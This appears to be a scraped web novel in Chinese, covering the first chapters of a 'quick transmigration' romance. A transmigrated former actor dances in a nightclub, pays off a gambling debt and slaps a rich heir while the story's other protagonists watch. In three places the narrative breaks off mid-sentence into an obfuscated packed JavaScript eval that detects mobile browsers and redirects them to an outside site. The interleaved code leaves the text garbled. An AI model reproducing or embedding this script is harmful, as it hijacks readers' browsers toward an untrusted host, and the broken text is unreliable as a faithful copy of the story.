《勾引主角的事我全干了[快穿]》 1. 世界一 凌晨一点,乌云笼罩月光。 A市灯火通明,商贸中心依旧车水马龙。 隔着一排鳞次栉比的建筑,FOM夜店此时热闹喧嚣,头顶霓虹闪烁,人群随鼓点尖叫翻天,堪称群魔乱舞现场。 本来以前的FOM气氛没这么嗨。 但一周前,店里来了位名叫路池的新人,招进来时说的是服务员,负责端酒打扫的活,月薪六千还包三餐。 谁知新人一鸣惊人,当晚就卖出一夜百万的酒水记录——路池不卖笑不卖身,只端酒开酒。富二代们一晚上点了十几趟酒、开了两座香槟塔,就为了看他垂着那张脸,偶尔冲自己弯眸一笑。 不是男模,胜似男模啊。 FOM的赵经理见钱眼开,负债的路池也很想进步。于是此刻,音乐躁动,无数视线抬起,纷纷朝舞池中央的那道纤薄身影投去。 生前是影帝的路池很习惯这种目光聚焦。 灯光下,他身形极高极薄,一头短发染成了漂亮灰粉,即便是跳低俗的脱衣舞也翩跹灵动,发梢跃颤如蝶翼。他的五官被霓虹浸透,看不太清晰,只隐约瞧见红润的唇角上翘,似乎笑得特别开心。像只扑闪的花蝴蝶。 DJ按一下鼓点,花蝴蝶就脱一件薄纱外套。 路池贼得很,仗着自己瘦,套了至少五件情趣薄外套。饶是如此,台下尖叫声依旧不断,香槟塔一座接一座开,直接给赵经理乐得牙不见眼。 角落有个衣着朴素的少年看得怔忡,四楼紧闭的包厢大门也打开些许,连路过的服务生都忍不住感慨一句:啧啧,真牛逼。 这是要当头牌啊。 ...... 半小时后。 四楼公共洗手台。 路池打开水龙头,往冒着热气的脸上扑冷水。 水珠顺着翘起的黑色睫尾滑落,在瓷白鼻尖留下湿润浅痕,滴答消失在地板。他靠上冰冷理石砖,半眯着眼,与刚才的花枝招展模样很不同,透出一点懒洋洋的倦意来。 周围很安静,隔音做得绝佳。 四楼是贵宾包厢区,简称VVVIP聚集地,走廊只有工作人员和保镖,很少闲杂人等。要不是路池这一周业绩太惊人,赵经理也不会允许他下班后上来喘口气。 片刻,路池抬头,扯出几张纸巾擦脸。 【够了没?】 脑海里的系统秒答:【够了宝宝。这个世界里你一共欠赌债一百万,利滚利到五百万,加上今晚夜店的进账,我们还完钱后还剩三十二块五毛八。】 【恭喜你,今天是疯狂星期四,你可以点一个套餐,再加双倍冰淇淋。】 路池擦干净脸上的水珠,面不改色纠正它:【第一,我不叫宝宝,我叫路池,你可以叫我宿主。】 系统很理直气壮:【我们缺德学院说了,长得好看的都是宝宝。你长得特别好看,是宝宝中的宝宝。】 路池呵呵一声,礼貌微笑。 谁家宝宝这么衰到爆,刚死七天就被一个名为「专业缺德」的系统绑定,还要莫名其妙地去当小三啊? 这事说来太无语:一周前,去世的路池刚过头七,正美滋滋在生前特意定制的七彩琉璃水晶坟头上飘着,欣赏自己的绝佳创意。 谁知这个自称为「专业缺德」的系统忽然出现,强行绑定他。系统说自己来自小说快穿部门,绑定路池是为了穿进小说世界,拆散里面的主角攻和主角受。 路池莫名其妙:【我凭什么拆散人家?】 系统:【你够漂亮呀。】 路池:【你为什么非要拆散人家?】 系统:【我够缺德呀。】 路池:【……】 系统很理直气壮地表示,这年头缺德的人好找,像路池这么漂亮又缺德的,真没有。 而且他们穿进小说的节点一般都在故事开头,是主角攻受的感情线尚未开始之际,只要路池勾引到主角里的一个就行。 难度只有亿点点。 系统:【宝宝你这么好看,请一定要使出浑身解数拆散主角攻受,成为他们之间的一根刺啊!】 死后很无聊的路池思考三秒,愉悦矜持地同意了。绝不是因为不同意系统就会实践缺德本色,三秒内引爆他的七彩琉璃水晶坟头。 ……修一个水晶坟头很不容易的! 哪知这个系统办事不靠谱,刚穿来就给了他狠狠一击。路池回忆起一周前的状况,扔了纸巾,继续呵呵微笑。 【第二,这钱不是我欠的,是你给我捏的这个身份欠的。要不是我够灵活,现在已经被讨债的拉去卖身了。你也好意思恭喜我?】 系统心虚:【咳…没办法,我缺德嘛。】 这是路池穿的第一个世界。刚睁开眼他就发觉不对,连接收世界剧情都来不及,猛地往前一闪,躲过了面前大汉的狠踢。 再一抬眼,他发现自己正躺在一个杂乱的出租屋里,浑身剧痛,显然是刚挨完一顿毒打。打他的那群大汉站在门口,浑身匪气,看着就很不好惹。 领头的大哥叼着烟,声音鄙夷:“一周内再不还钱,老子就抓你去做鸭!” “你这张小白脸这么出众,想必有的是人出钱吧?你也别想着跑,你一个孤儿,要是敢跑,我们就敢直接让你消失!” 放完狠话的西装大汉扬长而去,徒留灰头土脸的路池爬起来,连药都买不起,只好花最后的十五块团购了一份金拱门穷鬼套餐。 吃完后,路池拿着店里小朋友送他的冰淇淋,晃晃悠悠绕附近转了一圈,最后决定先去FOM会所打工赚钱还债。 这家会所挺阔气,里面玩的都是有钱有闲的富二代。路池长得好看,又是新面孔,即便不卖身也乐意先捧着他。不过路池知道,这只是暂时的。 好在已经要还完钱了。 路池掏出手机,细密的睫羽懒洋洋垂下,给高利贷大哥转账还债。 当初和赵经理说好,每天的提成都必须一小时内结清,现在已经下班,路池卡里刚好五百万零三十二块五毛八。 转完五百万,剩下三十二块五毛八。 真是闻者落泪啊。 高利贷大哥大概也对他在一周内集齐五百万感到震惊,几秒后,居然发了个大拇指过来。 路池回了他一个抱拳。 他没有删除大哥。 刚穿来的那顿毒打可不轻,等有机会了,路池一定要找机会打回去。 系统在脑子里兴冲冲的:【宿主,还完钱了,要不要接收剧情?我们现在在的这个夜店是剧情中的重要地点,今天晚上就是小说开头哦!】 它声情并茂地朗读:【八月末,A大开学在际,从偏远山村考到大城市的主角受迫于家境,来到主角攻家开的夜店应聘服务生,却意外被攻二看中,上演他逃他追、他们都插翅难飞的戏码……】 路池可有可无地听,一边对着镜子整理自己的粉色发尾,一边接收剧情。 和系统说的差不多,这是一个很俗套的故事。 主角受名叫顾言言,父母双亡,由外公外婆抚养长大,性格天真中带着自卑,倔强中带着无辜,是一朵水灵灵的善良小白花。 故事线在今夜展开。A大即将开学,因为缺钱,顾言言鼓起勇气来到FOM想应聘服务生,却被里面乱七八糟的环境吓到,意外逃到四楼,再意外走错包厢门,最后意外进了攻二梁之羽的包厢。 别问为什么这么巧,问就是宿命。 梁之羽今年十八岁,同为A大新生,私下却玩得很花,是出了名的纨绔。他见多了妖艳贱货,冷不丁被顾言言的小白花气质一闪,犹如老鼠掉进米缸,瞬间来了兴趣,强行要对人家动手动脚。 顾言言本就慌张,这下更是又羞又躲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805848|158509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,比过年的猪还难抓,最后竟左右开弓,啪啪扇了梁之羽两巴掌。 扇得大少爷怒火滔天,当场就要把这朵带刺的小白花办了。 无措之际,主角攻梁嘉树刚好出现,冷漠利落地阻止了梁之羽的行径——梁嘉树是梁之羽表哥,还是梁氏本家的独生子。 简而言之,就是攻一比攻二更加天龙人。 于是梁之羽遗憾落败。 被救的顾言言轻而易举暗恋上了梁嘉树,开学后发现他是学生会会长,愈发欣喜若狂,主动接近梁嘉树,也因此进入两兄弟的生活,开启了一段狗血的爱情纠葛...... 路池看得津津有味,正感慨着作者的智商之低,狗血程度之发指。忽然感觉自己被谁轻轻拽了一下。 他顺着力道低头,发现是一个面容稚嫩的小女孩。 小女孩差不多六七岁,穿着蓝白相间的背带裤,眼睛很大,正仰头看着路池,脸上没什么表情。 路池蹲下身,和她大眼瞪小眼。 小女孩眨眨眼,忽然掏出一张银行卡,面无表情塞进了路池敞开两颗扣子的衣领里。 路池:“......” 路池收下卡,语气真诚:“谢谢,但我这里不支持未成年退款哦。” 小女孩语气也很真诚:“不用谢,密码88888。你长这么好看,这是应得的。” 她又侧过身,指了指四楼最大包厢的门,道明来意:“我叫梁仪。你的舞跳得特别好看,我哥哥说让你过去,亲自脱给他看。” 这话带着羞辱性,极其不尊重人。 路池没生气,挑眉笑了下,灰粉色碎发落在侧脸,有种与生俱来的锋利与傲慢,漂亮得刺人眼疼。 他问:“你哥哥是谁?嘴巴真贱,很欠扇啊。” 小女孩老实回答:“他叫梁之羽,脾气很差,你一会儿千万别当面骂他。” 梁之羽? 系统一震,兴奋道:【宿主,是攻二,看来我们赶上剧情现场了!】 震完后它有点奇怪:【就是怎么还有个妹妹在场?算了算了,这不重要,宿主你一会儿一定要把握机会,化身魅魔,把这些主角都勾引到手啊!】 路池对它宛如拉皮条的热情不置可否。 他被小女孩牵着,慢吞吞走进包厢,听见里面正在播放一首死亡摇滚乐。 路池抬眸,正好对上一双吊儿郎当的褐色双眼。 眼睛的主人很年轻,年轻到青涩,头发长至肩头,手上戴满锋利尖锐的朋克风戒指。疑似听摇滚听中毒了。 ……没想到梁之羽居然是个非主流少年? 路池心情微妙。 在梁之羽身旁,一个衣着朴素的少年站在酒桌边,正表情无措地看着周围一切——不出意外的话,这就是小白花顾言言了。 咔哒一声。 侍者关上包厢大门。 梁之羽举起手中酒杯,上下打量了路池一圈,似乎很是满意。他没有像原本剧情中那样,对顾言言上下其手,反而起身,上前几步,朝路池露出了一个轻佻的笑。 “美人,认识一下?” - 与此同时。 霓虹跟着鼓点乱晃,FOM一楼的舞池早已人满为患。 FOM全名Focus On Me会所,背靠梁家,占据A市黄金地段的CBD上下五层,客户人群定位有钱有闲的富二代败家子,开业才一年已经成为A市行业领头。 离路池跳完脱衣舞才十几分钟,这群少爷小姐们还沉浸在嗨翻天的兴奋里,格外喧闹。 几步之遥。 梁嘉树站在电梯口,对身后的纸醉金迷恍若未闻。 他身高接近一米八七,影子落在脚边,宛如一团巨大黑雾。一双漆黑瞳仁盯着光洁壁面,声音有种很淡的烦躁。 “人呢。” 2. 世界一 他口中的人自然是梁家分支兄妹。 梁嘉树是梁氏集团本家的独生子,今年研三,以往除了在A大开组会做实验,只出现在梁家宴会或学院交流赛之类的场合。FOM开业一年多,还是头一次被这位身份金贵的大少爷踏足。 赵经理受宠若惊,不敢怠慢,连忙挥开要过来的两个门童,亲自引着大少爷走进专属电梯,按下按钮。 头顶吐出阵阵冷气。 他笑得比任何时候都讨好:“梁少爷和梁小姐都在四楼私人包厢呢,您放心,全是身家清白的人在陪着,绝不会出意外。” 梁嘉树立在原地,闻言神色一动不动,冷淡得像座坟。 电梯明亮,折射照出大少爷平直的宽肩。已是八月盛夏,他依旧身穿古板的长袖长裤,仿佛完全感受不到暑热。烟灰色衬衫扣子扣到顶,露出线条锋利的下颌,以及半截白得诡异、仿佛死人的后颈。 赵经理被这截惨白吓了一跳,回过神来,连忙收回目光,不敢再多看一眼。 脑中却想起许多传言。 A市豪门圈皆知,梁嘉树是试管婴儿,出生得颇为艰难。他自小性格古怪、作风守旧。分明才刚过完二十岁生日,却最厌恶不受控制的因素。 FOM夜店又吵又乱,属于他最讨厌的那类“刺儿头”,看了就烦。 ......还是尽早让这古板大少爷带着人离开的好。 赵经理心中暗叹一声,歇了讨好心思,电梯门开后恭敬地引着人往走廊走。 快凌晨两点,四楼一片安静。这层楼面积极大,但为了彰显贵宾格调,刻意只做了十几个景致不同的包厢。赵经理穿过错落有致的隔断,找到最中间的木质大门,终于停下。 “到了。” 他示意侍者开门,回头笑道:“您放心,咱们四楼陪着的员工基本都是学生。他们心思单纯,也有眼力见,话少得很,不是吵吵闹闹那挂的......” 话音未落,一道熟悉声音忽然响起。 带着懒洋洋笑意,羽毛般钻入耳中—— “你很特别。” 赵经理想起什么,瞬间僵硬回头。 便见不远处,新来的摇钱树正神态自如地看着梁之羽,煞有其事道:“你很特别,和我认识的男生都不一样。” “你给我一种疏离感,忽远忽近、若即若离、孤独寂寥。” 赵经理:“......” 什么玩意儿? 脚下铺陈的羊毛地毯柔软雪白。 木制大门投下厚重阴影,浓稠如墨。梁嘉树立在阴影中,冷淡抬眸,没什么表情地循声看去。 憧憧人影中。 他看见一只灰粉色蝴蝶。 包厢很大,似乎是为了配合梁之羽的非主流灵魂,灯光特意被侍者调得迷离昏暗。无数沉默垂目的身影中,有个高挑的人懒懒靠在桌边,被偏心的霓虹尽数笼罩,光灿灿、亮晶晶。 很刺眼。 花蝴蝶路池似乎没有注意到身后动静。 脑中系统安静得诡异,他没理会,目光不动声色扫过梁之羽刻意留长的头发、尖锐的朋克戒指、轻浮的面部表情...... 结合剧情简介,路池瞬间勾勒出一个内心空虚糜烂,仗着家境恃强凌弱的讨厌小鬼形象。 欠扇的小鬼,适合用来当试探主角的炮灰。 路池无声笑了下,漂亮的眼睛弯起来,继续背诵文艺长发男语录:“你很特别,你一直在伪装自己,你的内心深处其实只有自己一个人。” “你想要一点刺激、一点危险,甚至一点过分的暴力和不可理喻,以此吸引想要得到的注意力。” “比如——嫌弃漠视你的父母、比你优秀数倍的表哥、内心看不上你的妹妹、周围讨好你的狐朋狗友......” 鬼哭狼嚎的摇滚乐不知何时停止。 梁之羽原本不可一世的表情已经消失,褐色瞳孔缩成两个小点,死死盯着路池。尖锐的朋克戒指一端陷入掌心,掐出模糊血痕,他却恍若未觉。 片刻,他忽然放下酒杯,抬起脚,猛地踹倒路池倚靠的那台矮桌—— 砰!桌上的水晶酒杯瞬间滑落,噼里啪啦碎了一地,酒液霎时四溢。 一旁的顾言言尖叫一声,而后立刻捂住嘴,恐惧又慌乱地看着路池,又去看周围侍者,仿佛想得到什么反馈。然而侍者们依旧垂目沉默,恍如不存在的空气。 死一样的寂静在蔓延。 梁之羽冷冷盯着路池,脸上是权贵子弟特有的冷漠与压迫。 片刻,他指着路池,一字一句道:“闭上,你的,贱嘴。” “一个脱衣服赚钱的货色。” “我他妈给你脸了?” 话音落下。 路池忽然伸手,毫无预兆地一巴掌扇过去。 瓷白纤薄的腕骨带起一阵冷风。 裹挟着清淡香气,瞬间充盈鼻端。 香气过后,才是清脆的巴掌声,和火辣辣的刺痛触感。 系统死机两秒,吓得在路池脑海中尖叫:【宿主,你在干什么!!你身后就是主角攻,你怎么能当他面打攻二?!!】 路池甩了甩手腕,表情相当淡定:【原来你知道主角攻来了啊。】 系统瞬间噤声,半晌,心虚又委屈:【我、我的底层代码就是缺德嘛......我也想提醒你的。】 路池笑了下,善解人意地表示理解,然后让它闭嘴。 巴掌声猝不及防回荡在包厢。 梁之羽脑子空白了整整三秒,才反应过来,自己被扇了。 从出生到现在。 就连父母,也从没对他动过手。 而面前这个初次见面的货色,居然敢扇他?! 梁之羽暴怒,进而感到奇耻大辱,伸手就要抓起路池衣领,用尖锐的戒指狠狠划烂那张脸,再一脚踩碎那只手: “贱货——” 路池利落伸手,又是毫不留情的一巴掌。 他生前也是孤儿院出身,尽管身形薄瘦,看起来孱弱清癯,实际力气却大,很擅长打架,对付这种虚张声势的小鬼绰绰有余。 更何况梁之羽还喝了不少酒,力气失去大半。 巴掌声清脆回荡,梁之羽被路池当着众人扇脸,心中又急又气,还有股无法忽视的羞耻——见鬼!他的鼻端一直萦绕那股香气,分明很淡,却像鬼一样充盈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805849|158509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周身,根本甩不掉! 该死! 该死!! 火辣辣的脸很快肿起。 路池扇够了嘴贱小鬼,终于大发慈悲伸手,一把抓住梁之羽长发,漫不经心一拖,单手将他强行拖到了面前。 香气骤然浓郁清晰。 梁之羽半跪在地,被迫仰头,终于在迷离光影中看清这张如隔云端的脸。 路池的眼睛大,瞳仁是澄明甜蜜的浅褐,带着天生的湿润情意。半垂着看人时尾睫会上翘,勾起浓墨重彩的一笔,格外勾人。 他笑时如旖旎艳丽的花瓣,不笑却如寂然幽潮的薄雾,冰冷寡淡。梁之羽被这样一双眼睛盯着,只觉得自己的一切伪装都被看穿,连灵魂也无处遁形。 ......操。 那股香气好浓。 原先的怒火缓缓褪去,他的脸忽然漫上另一种火辣辣的胀热与羞耻。 包厢寂静无声,众人早已吓呆,粱仪和顾言言嘴巴大张,门口的赵经理更是看傻了眼。 梁之羽瞬间脸热,不得不嘶哑张口:“你......” 路池打断他:“能好好说话了吗?” 梁之羽一愣:“...什么?” 路池没回答,伸出另一只手。 梁之羽的身体应激般抖了一下,以为他还要打他。 谁知那只瓷白的手垂下来,血管在昏暗霓虹中呈现出一种冷调的蓝紫色。手的主人从桌上五花八门的酒里随手拿了瓶冰透的香槟,不紧不慢地摸了下,似乎在确认温度。 而后,路池将那瓶冰酒轻轻贴在了梁之羽红肿的脸侧。 冰酒瞬间将脸上的痛消除大半。 梁之羽愣愣地捧着酒,看见路池笑着问自己:“能好好说话了吗?” ——还敢嘴臭吗? 男人柔软的指尖压在香槟侧,冰凉,却又散发出浓郁的香气。 梁之羽瞪着眼,愣了好一会儿,才点头:“......能。” 路池便又笑了下,从怀中掏出那张粱仪给他的银行卡,奖励般,懒洋洋塞进了梁之羽衣领中。 沾了水汽的指尖很冰。 和十八岁少年坚硬的肌肉一触即分。 梁之羽有些迟钝地听见他说:“听话的小鬼有奖励。” “下次别教你妹妹那些话。” “自己亲自和我说,知道吗。” 梁之羽眨了下眼,半晌,才又迟钝地点了下头。 路池满意地看着老实不少的梁之羽,心知他这是今晚喝多了酒,再加上人生第一次被人扇,一时还反应不过来。 俗称:被扇迷糊了。 熊孩子果然就是欠一顿打啊。 他见好就收,终于起身,灰粉色碎发落在侧脸,恍若蝶翼。 冷气徐徐飘散,路池好整以暇地转头,看向包厢门口。 厚重如墨的阴影中。 面无表情的梁嘉树立在原地,不知站了多久。立体的五官被浮光掠影笼罩,一双漆黑双眸淡淡垂着,居高临下地目睹着一切。 路池举起酒杯冲他点头,喝了一口润喉,才慢悠悠问:“看够了吗?” ——看够他训狗了吗? 3. 世界一 话音落下。 包厢众人下意识循着路池目光看去,呼吸一窒,这才惊觉这位金贵大少爷的到来。 不等梁家兄妹反应。 梁嘉树已经自阴影中走出,踏入这一室寂静。 头顶霓虹洒落,给青年高挺的眉骨蒙上一层阴影,他依旧是一副冷淡模样,漆黑目光落在路池脸上,看不出丝毫波动。 仿佛并不在乎梁家人被当成狗当众扇巴掌。 空气很静。 说来奇怪,分明之前包厢气氛不算低沉。但此刻梁嘉树不说话,众人便也跟着无法呼吸,不自觉闭紧嘴,表情丧得像在夜店给亲爹上坟。 路池跳跃性地想起自己的七彩琉璃水晶坟头,没忍住勾唇,在一室死寂中无声自得地笑了下。 梁嘉树看着他,瞳孔在灯光中很深。 离得近了,男人身上那股锋利夺目的美丽更加刺得人眼疼。 在会所夜店工作的男女多少都会化妆,但路池没有,毫无顾忌地顶着一张素艳的脸和梁嘉树对视。 梁嘉树双眼视力5.2,霓虹一照,瞬间看清他侧脸的细小绒毛。像蝴蝶翅膀上的鳞粉,又像水蜜桃表皮的毛刺,能隔空扎人。 一双多情眼懒洋洋睨过来,梁嘉树只能想到一个词语。 鲜活。 和他截然相反的鲜活。 系统在路池脑海里吱哇尖叫:【主角攻梁嘉树堂堂出场!主角受顾言言也在!主要角色齐活儿,宿主你快勾引他们啊啊啊!】 路池按住小三癖发作的癫狂系统,淡定似活佛:【先等等。】 系统一傻:【等咩啊?】 路池又抿了一小口冰酒,感觉有点上头,赶紧放下杯子:【等着观察这些主角的性格。】 遇见出乎意料的事时,下意识的反应骗不了人。 系统不明白:【可是这些剧情里都有的——】 【梁嘉树冷静理智却不失善良,多次相助被排挤霸凌的顾言言;顾言言弱势自卑却敢于反抗,小白花之光感化众人;梁之羽离经叛道却缺乏关爱,最终在追爱火葬场下改邪归正......】 它很自信:【一目了然!虽然故事狗血,但都是正能量主角,不需要观察!】 这智商在宫斗剧里都活不过三分钟,两秒就能下线。路池嗯嗯敷衍:【你小脑发育真好。乖啊,闭嘴去玩吧。】 系统听不出敷衍,只知道宿主夸自己乖,立刻喜滋滋地听话不出声了。 它不说话,但包厢内的众人此刻终于反应过来。 半跪在地的梁之羽愣住,显然没想到这个所谓的“表哥”会亲自来FOM,更没料到自己刚才的狼狈会被对方尽数看在眼底。 少年表情瞬间阴沉,很快又调整成略微僵硬的微笑。 不过路池还是察觉到了他隐藏的情绪:下意识的讨好,和本能的厌恶。 ——看来感情线开始之前,攻一和攻二就气场不合啊。 路池眨了眨眼,没骨头似的歪靠在桌边,事不关己般围观小说主角交锋。梁之羽这会儿也没工夫再瞎想,收起塞在衣领里的银行卡,顶着脸上的巴掌印起身。 “...哥,你怎么来了?” 梁嘉树不说话,他就很勉强地笑:“肯定又是我妈在梁总面前啰嗦了,她一天到晚闲得很,不是管我爸就是盯着我,没想到居然还麻烦你......不好意思啊哥。” 梁之羽是很典型的豪门家庭,父亲在外应酬赚钱,母亲全职在家管儿子。小女儿太小,暂时宠着,也不指望她成材。 A大开学在际,梁之羽玩得疯了点,才让他妈天天跟管家神一样念叨他,烦都要烦死。 周围侍者沉默如石像。 梁嘉树的目光从路池身上移开,很淡地看了梁之羽一眼,言简意赅:“带梁仪下去。” 解释啰嗦一大堆,换来毫无情绪的五个字。 梁之羽的表情瞬间难堪,仿佛被一盆冰水狠狠浇下,比被当众扇脸还要耻辱。因为这意味着,梁嘉树根本就没把他放在眼里。 尤其是路池还在一旁看着。 他握紧手中冰透的香槟,十八岁到底还太年轻,冲动之下就想说些什么。 穿着背带裤的粱仪忽然跳下沙发,跑到包厢门口,声音清脆地吩咐冷汗透背的赵经理:“叔叔,麻烦拿水和毛巾过来,再叫几个人扶我哥哥下楼。” 赵经理立刻如蒙大赫,太监救驾般应声:“好的好的!小林,你去拿东西,梁少爷的车就停在后门,记得让人扶...扶着梁二少上车。” 梁之羽的表情在听见“梁二少”时更加难看,路过的狗都能看出他此时的阴沉。 ——蠢成这样到底是遗传了谁? 梁嘉树面无表情地想,开始考虑今后要不要将梁家分支吞掉。毕竟什么产业交给这种人,都等于交给一头会说人话的猪。 一旁的路池若有所思,片刻,又转头去看站在桌旁的顾言言。 却见这位小白花主角受此刻也正看着他,表情怔怔的,不知在想什么,也不知盯了多久。 路池挑了下眉,条件反射冲他一笑,生动漂亮。 顾言言瞬间吓得缩回目光,立刻低头用力瞪地板,不敢再盯了。 系统在数据流里目睹一切,再次发癫尖叫:【易如反掌!勾引主角易如反掌!通通拿下!】 它一激动就开始叫路池宝宝,路池忍不住笑,自觉看够了,便悠哉游哉直起身,走到赵经理面前要闪人:“经理,时间不早了,我先下班哈。” 喝了两小口酒,他有点上头,很想睡觉。 系统本想让路池再接再厉,最好今晚就让主角攻受为他大打出手、争风吃醋开始雄竞。 但瞧见路池雾蒙蒙的眼睛,顿了顿,还是安静不出声了。 路池打了个哈欠,路过梁之羽时,连个余光都没给他。 赵经理看见对方阴森的双眼,背上冷汗又开始狂流。他不敢多说,只是眼巴巴看向沉默的梁嘉树,希望能得到些提示,自己也好求情—— 梁之羽是梁家人,他被路池扇了,梁嘉树总得做些什么吧? 路池挑眉,也去看梁嘉树。 一个人的眼神可能会说谎,但下意识的习惯不会。 衣着、配饰、发型等等细节虽不起眼,却更能最大程度体现其人的性格与癖好。 梁嘉树个子很高,和路池相近,大热天还穿灰色衬衫和灰色长裤,熨烫痕迹齐整锋利。英俊的脸上神色冷淡,脖子和手腕都没有佩戴任何配饰,干净到无聊,与浑身叮叮当当的梁之羽截然不同。 路池注意到他的指甲剪得很短很整齐,似乎有点强迫症。黑发落在眉眼间,也不散乱,妥帖到极致。 这样一个人......不是清心寡欲的卫道士,就是隐藏极深的控制狂。 一旦招惹,死都甩不脱的那种。 他们距离很近,近到梁嘉树一抬眸,就能看见路池发梢上沾着的亮晶晶闪片——路池才跳完脱衣舞,满身舞池闪粉,像颗行走的粉色钻石精。 钻石精盯了他一会儿,忽然莫名其妙笑了下。而后转头,没看任何人,懒洋洋对赵经理挥手:“我真走了,经理拜拜。” 咔哒一声。 粉色钻石精施施然开门潇洒离开了。 留下赵经理提着一颗心七上八下,不敢出声。 然而等待片刻。 面前的梁嘉树沉默几秒,竟也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805850|158509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转过身,什么也没说,面无表情地走了。 “......” 侍者扶着酒意上头、走路不稳的梁之羽下了楼,粱仪跟着离开。包厢很快被清空,周围安静下来,仿佛无事发生。 赵经理回过神来,正摸不着头脑呢,手机叮咚响了两声。 他拿出来一看,发现是路池。 吃饭睡觉跳舞:【经理,我房租不够了,提前预支下个月的薪水。】 吃饭睡觉跳舞:【小猫伸手.JPG】 ......像个没事人一样。 赵经理以往只将路池当成会来事的摇钱树,此刻竟由衷地有些佩服——扇人后还能全身而退,简直牛逼。 他回复了个好,正让财务给人转账。下一秒,路池又发了条消息过来。 赵经理再次愣住。 吃饭睡觉不跳舞:【对了经理,我干完下个月就辞职,您记得招新人哈。】 吃饭睡觉不跳舞:【小猫远去.JPG】 …… 路池将手机收起,一脚踏出了FOM大门。 冷气消失,盛夏深夜的燥热扑了满脸。他的困倦被这股热气一熏,又熏出点饿意来。 幸好FOM位于市中心,地段繁华,凌晨两点多也灯火通明。 路池挑了一家装修温馨的甜品店,十几分钟后,提着一份新鲜出炉的葡挞鸡蛋仔慢悠悠出来。 系统看他边走边吃夜宵,急得快冒烟:【宿主你怎么辞职了?现在你和主角们的交集点只有FOM会所,要是辞职的话,连偶遇的机会也没有了!】 梁嘉树和梁之羽出身豪门,平常场合根本见不到。顾言言也性格老实,除了在FOM打工,基本不会出学校一步。 大好的勾引机会没了!! 路池咬了口鸡蛋仔,专心嚼嚼嚼,没理它。 系统急死,正要发挥缺德本色,威胁一下路池。 就听他忽然很轻地说:【我累。】 【......】 耳边瞬间安静。 片刻后,传来一声特别愧疚的对不起。 路池眨眨眼,忍着笑继续嚼鸡蛋仔。 街上车水马龙,不断有人朝他投来目光,却迫于那张太过夺目的脸,不敢靠近搭讪。路池很习惯地忽略这些视线,停下脚步等绿灯。 不远处。 黑色迈巴赫副驾。 梁嘉树面无表情接过一叠资料,没有看,漆黑瞳仁盯着前方那道懒洋洋的身影。 一旁的人很有眼色地开始汇报刚查到的路池资料。 “路先生二十七岁,也是A大毕业,一个月前开始出入林家开的赌场,被下套借了高利贷......” 绿灯了。 男人顺着人流过马路。 他似乎很困,漂亮张扬的脸上没什么精神,连带着粉色头发也灰扑扑的。身上衣服换了,简单干净的白色短袖,下面是运动裤和球鞋,穿得比大学生还年轻。 还背着一个奇形怪状的包,很有松弛感地斜挎在肩后。 是个丑得令梁嘉树皱眉的流泪青蛙头。 迈巴赫开得很慢。 没一会儿,梁嘉树就见路池嚼完最后一口鸡蛋仔,扔掉包装,然后从那个青蛙头里费劲地掏啊掏,掏出了一个同样猎奇的青蛙水杯,开始吨吨吨喝水。 梁嘉树:“......” …… 没察觉跟踪的路池还在喝水。 天气太热,喝完水,他的精神终于回来了点。 系统垂头丧气地沉默着,路池收起超市大甩卖送的悲伤青蛙水杯,轻笑:【笨。】 【你再看看原著剧情,特别是今晚。】 4. 世界一 系统听话地把剧情翻得哗哗响,但研究半天依旧没发现任何问题。大概电子产品都这样,以结果为导向,无法理解程序外的东西。 路池挑了个典型问它:【你觉得梁嘉树是什么性格?】 系统:【冷静理智,目睹顾言言被校园霸凌后心生不忍,所以底色善良。】 路池不说话了,站在大街上一个劲儿地乐。 隔着半条街,梁嘉树就看见他走着走着忽然开始笑。斜挎的青蛙头老大一个,跟着他笑的频率在抖,丑得醒目。 笑完路过街边的冰淇淋车,又扫码买了一个蜜桃大甜筒开始啃。 路池边啃边说:【原著里,今晚梁之羽心情烦躁,又被顾言言当众扇了两巴掌,于是一怒之下让侍者按着人,自己抡起香槟对着他脑袋砸。】 顾言言被砸得头破血流,染红大半羊毛地毯。梁之羽出了气,本想就这么离开,却发现顾言言始终用手护着头和裤子口袋,挨打时也一声不吭,显然是藏了什么东西。 他刚要伸手去摸,身后就响起梁嘉树的声音。 梁之羽对这个“表哥”又恨又惧,冷不丁听见他出声,吓得酒都醒了大半。 再转头看着地上生死不知的顾言言,立刻意识到自己闯下了祸事。 富二代殴打穷学生的新闻向来能引爆舆论。 更何况梁之羽家这两年打算转型,正是要推出新产品的关键期,此时如果陷入舆论中心,无异于是对产品的毁灭性打击。 梁嘉树冷眼旁观,没多话,直接让保镖将梁之羽绑回了车里,然后自己也跟着离开,从头到尾都没看地上昏迷的顾言言一眼。 还是赵经理叫人抬着顾言言去了医院包扎。 